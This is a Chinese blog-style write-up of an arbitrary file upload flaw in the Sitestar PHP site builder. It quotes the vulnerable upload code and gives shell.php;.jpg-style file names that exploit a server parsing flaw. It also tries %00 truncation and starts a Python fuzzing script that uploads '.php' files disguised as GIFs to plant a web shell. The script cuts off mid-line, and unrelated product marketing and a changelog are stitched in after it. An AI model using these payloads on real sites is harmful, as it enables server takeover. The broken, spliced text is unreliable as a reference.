建站之星php 漏洞,建站之星模糊测试实战之任意文件上传漏洞

0x00 Sitestar

美橙互联又一力作,建站之星专业版(Sitestar Pro),

无拘无束,信手拈来,创意无限,不拘一格,轻松创建属于您自己的网站!

0x01 漏洞的产生

/module/mod_tool.php 第89行起,img_create()函数

[php]

public function img_create() {

$file_info =& ParamHolder::get('img_name', array(), PS_FILES);

if ($file_info['error'] > 0) {

Notice::set('mod_marquee/msg', __('Invalid post file data!'));

Content::redirect(Html::uriquery('mod_tool', 'upload_img'));

}

//exit($file_info["name"]);

if(!preg_match('/\.('.PIC_ALLOW_EXT.')$/i', $file_info["name"])) {

//echo '2222';

Notice::set('mod_marquee/msg', __('File type error!'));

Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));

}

if(file_exists(ROOT.'/upload/image/'.$file_info["name"])) {

$file_info["name"] = Toolkit::randomStr(8).strrchr($file_info["name"],".");

}

if (!$this->_savelinkimg($file_info)) {

Notice::set('mod_marquee/msg', __('Link image upload failed!'));

Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));

}[/php]

上述关键的代码

[php]

if(!preg_match('/\.('.PIC_ALLOW_EXT.')$/i', $file_info["name"])) {

Notice::set('mod_marquee/msg', __('File type error!'));

Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));

}[/php]

其中 PIC_ALLOW_EXT 为 gif|jpg|png|bmp 即如果文件名最后不是gif|jpg|png|bmp,则提示文件类型错误

我们继续往下看...

[php]

if (!$this->_savelinkimg($file_info)) {

Notice::set('mod_marquee/msg', __('Link image upload failed!'));

Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));

}[/php]

跟进_savelinkimg函数 736行-741行

[php]

private function _savelinkimg($struct_file) {

$struct_file['name'] = iconv("UTF-8", "gb2312", $struct_file['name']);

echo $struct_file['name'];

move_uploaded_file($struct_file['tmp_name'], ROOT.'/upload/image/'.$struct_file['name']);

return ParamParser::fire_virus(ROOT.'/upload/image/'.$struct_file['name']);

}

[/php]

其中我们关心的是move_uploaded_file函数

[php]

move_uploaded_file($struct_file['tmp_name'], ROOT.'/upload/image/'.$struct_file['name']);

[/php]

看见没有,直接用我们上传的的文件名作为最终写进硬盘的文件名

到这里,我们可以简单对其进行利用

上传类似如下文件:shell.php;.jpg 或shell.php.a;.jpg 利用解析漏洞即可利用,但这并不是我们今天所要讲的内容,SO 继续....

0x02 尝试漏洞利用

既然文件名是我们上传的文件名,那我们用截断上传试试呢...

首先我们尝试最最最常用的截断方法: %00

为方便调试,我们加入调试代码

[php]

if(!preg_match('/\.('.PIC_ALLOW_EXT.')$/i', $file_info["name"])) {

exit("Error,不能截断.");//调试代码

Notice::set('mod_marquee/msg', __('File type error!'));

Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));

}[/php]

同时将如下代码保持为sitestar.htm

[php]

[/php]

打开sitestar.htm,Burpsuite抓包 采用%00截断:

e72e1df07cb235edc987bfd3c55ba2cb.png

输出了我们的调试代码

4884b17fd5228ec80a0b656365614821.png

看见了吧,不能成功的被截断,那我们是不是就到此为止了呢? 显然 答案是NO!

额 !!想起来了...我们都知道Fuzzing很强大... SO 继续吧...

0x03 Fuzzing成功利用

丢一真理:实践出真知,各位看官们 眼睛睁大了...

为了能Fuzzing,看来还得码代码啊,首先抓个上传的包,方便代码中用

这里我们用py写Fuzzing的代码,好吧 我已经给各位写好啦

[php]

#D:\Python27\python.exe

#coding = utf-8

import os

import re

import sys

import random

import urllib2

import urllib

def hex_to_asc(ch):

return '{:c}'.format(int(float.fromhex(ch)))

def rand5str(num):

sts = ''

char = '1234567890abcdexyz'

for i in range(num):

sts += random.choice(char)

return sts

def postdata(strr):

global sname

sname = rand5str(8)

data = '------WebKitFormBoundaryFz8xcpseXipPJz6Q\r\n'

data +='Content-Disposition: form-data; name="img_name"; filename="%s.php%s;a.gif"\r\n' % (sname,strr)

data +='Content-Type: image/gif\r\n'

data +='\r\n'

data +='GIF89a

美橙建站之星前后历经三年时间进行开发,该系统能让用户在短时间内迅速架设属于自己公司的企业网站。自助建站系统易学易懂,用户只需会上网、不需学习编程及任何语言,只要使用该智能建站系统平台,只要会打字,即可在线直接完成网站建站所有工作。 建站之星SiteStar 2.7 build 140505 更新日志: 1、修复用户从产品购买入口到用户注册页面时,没有自定义会员注册项表单. 2、修复站点背景设置>>背景对齐,选择下一个状态,前一个状态的结果无法消失. 3、修复不存在页面或路径不能定向. 4、更改支付宝跳转方式. 5、修复用户站内短信无法查看. 6、修复自定义模块下,自定义页面内容分页无效. 7、修复自定义模式下,系统默认自定义页面,不能预览,不能分页.. 8、修复自定义模式下,用户设置自定义文章页面报错. 9、修复自定义模式下,文章、产品详情页不显示设置的SEO内容. 10、修复自定义模式下购物车模块链接错误. 11、修复首页加载文章和产品模块出现access violation error. 12、修复产品详情页-点击加入购物车-点击现在订购跳转到了空白页面,提示:access violation error! 13、修复默认模板搜索表单样式错位. 14、修复文件管理器中重命名漏洞. 15、修复公告模块,滚动不正常. 16、修复登录后,不能获取购物车在未登录前产品信息. 17、修复flash幻灯显示模块上传图片路径不正确. 18、修复上传安全漏洞. 19、修复用户信息漏洞. 20、修复安装程序Getshell漏洞. 21、修复本地包含,邮件发送注入,用户注册过滤漏洞. 22、修复安装程序初始安装报错. 23、修复加入购物车再注册会员或登录会员后提交订单提示:非法id. 运行系统环境要求: 推荐配置: Linux + Apache + Mysql + PHP 操作系统: Linux (支持Unix/FreeBSD/Solaris/Windows NT(2000/2003)等操作系统) WEB服务器: Apache (支持httpd, Zeus, IIS 等WEB服务器) 数据库: Mysql (5.0 或者更高版本) 程序支持: PHP 5.0及以上版本 (推荐使用5.2系列最新版本) 建站之星优点: 建站时间短 手工建站:耗时较长至少半个月至一个月以上 建站之星建站时间非常短仅需两三天,全程自己操作。 改版方便 手工建站:手工建站若要改版还需向建站公司缴纳改版费用。 建站之星:智能建站赠送多套模板,要改版仅需点下鼠标即可完成,无需任何费用。 建站快捷 手工建站:需要美工设计,上传源代码等繁杂操作。 建站之星:在线购买,实时开通,免费赠送3级域名,只要短短2步设置,就能实现在线访问。 节省费用 手工建站建站至少需要2000元以上 建站之星:仅需几百元,轻松建站
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值